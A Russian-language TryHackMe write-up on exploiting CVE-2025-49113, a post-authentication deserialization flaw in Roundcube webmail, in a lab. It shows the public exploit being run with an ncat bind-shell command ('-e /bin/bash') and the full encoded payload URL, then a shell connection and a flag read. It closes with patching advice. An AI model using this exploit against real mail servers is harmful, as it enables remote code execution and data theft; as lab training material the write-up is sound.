Пост

TryHackMe - Roundcube

Эксплойт уязвимости CVE-2025-49113 в лабораторных условиях

TryHackMe - Roundcube

Введение

В этой комнате мы хотим понять, как работают уязвимости десериализации. Сериализация преобразует объект (как в PHP, Java или Python) в формат, который мы можем хранить или отправлять. Десериализация делает обратное — но если входные данные не проверяются должным образом, злоумышленники могут использовать это для выполнения вредоносного кода.

Кирилл Фирсов обнаружил подобную уязвимость в веб-почте Roundcube. Проблема заключалась в файле upload.php, где параметр _from не проверялся должным образом перед десериализацией. В коммитах для версий 1.5.10 и 1.6.11 показано, как они исправили это — добавив проверки для блокировки небезопасных символов в _from.

Tryhackme Room Link

Nmap

Похоже, у нас есть точная ссылка и учетные данные, поэтому Nmap не нужен.

Эксплуатация

Давайте перейдем по адресу http://10.10.191.67/roundcube, как нам было указано.

Нам отображается форма входа в Roundcube:

Loop

Давайте используем предоставленные учетные данные:

Имя пользователя: ellieptic

Пароль: ChangeMe123

Давайте скачаем наш эксплойт, демонстрирующий работоспособность концепции

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ git clone https://github.com/fearsoff-org/CVE-2025-49113                                                   
Cloning into 'CVE-2025-49113'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (8/8), 7.33 KiB | 3.67 MiB/s, done.
Resolving deltas: 100% (1/1), done.
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ cd CVE-2025-49113/                                                                                         

┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ ls                                                                                                         
CVE-2025-49113.php  rc_install.sh  README.md

Выполнение эксплойта

Для запуска эксплойта необходимо добавить следующие аргументы: php CVE-2025-49113.php target_url username password command

Итак, давайте сделаем это и подождем завершения выполнения

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://10.10.191.67/roundcube ellieptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"  
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]

### Retrieving CSRF token and session cookie...

### Authenticating user: ellieptic

### Authentication successful

### Command to be executed: 
ncat -lvnp 4444 -e /bin/bash

### Injecting payload...

### End payload: http://10.10.191.67/roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C73%C70%C7%3A%C7%22%C7n%C7c%C7a%C7t%C7+%C7-%C7l%C7v%C7n%C7p%C7+%C74%C74%C74%C74%C7+%C7-%C7e%C7+%C7%2F%C7b%C7i%C7n%C7%2F%C7b%C7a%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload

### Payload injected successfully

### Executing payload...

PHP Warning:  file_get_contents(http://10.10.191.67/roundcube/): Failed to open stream: HTTP request failed! in /home/rene/tryhackme/roundcube/CVE-2025-49113/CVE-2025-49113.php on line 237
### Error: CSRF token not found in response body

Мы видим, что получили ошибку, но команда netcat прошла успешно, и мы можем подключиться и выполнять команды:

1
2
3
4
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ nc 10.10.191.67 4444                                                                                       
pwd
/var/www/html/roundcube

Вопрос: У одной из пользователей имя Мэгги; какая у неё фамилия?

1
2
3
4
5
6
7
8
cd /home
ls
algorithm
ellieptic
maggiebyte
terrybyte
testuser
ubuntu

Ответ:

1
Byte

Вопрос: Какое значение флага сохраняется в /etc?

1
2
cd /etc
cat flag.txt

Flag

Для этой уязвимости требуются только действительные учетные данные веб-почты, и она работает на стандартных установках Roundcube. Ее трудно обнаружить, поскольку трафик эксплойта может выглядеть совершенно нормально. Из-за серьезности уязвимости пользователям, использующим 1.5.x или 1.6.x, следует обновиться до 1.5.10 или 1.6.11. Если обновление невозможно, временным решением является блокировка доступа к upload.php.

Авторский пост защищен лицензией CC BY 4.0 .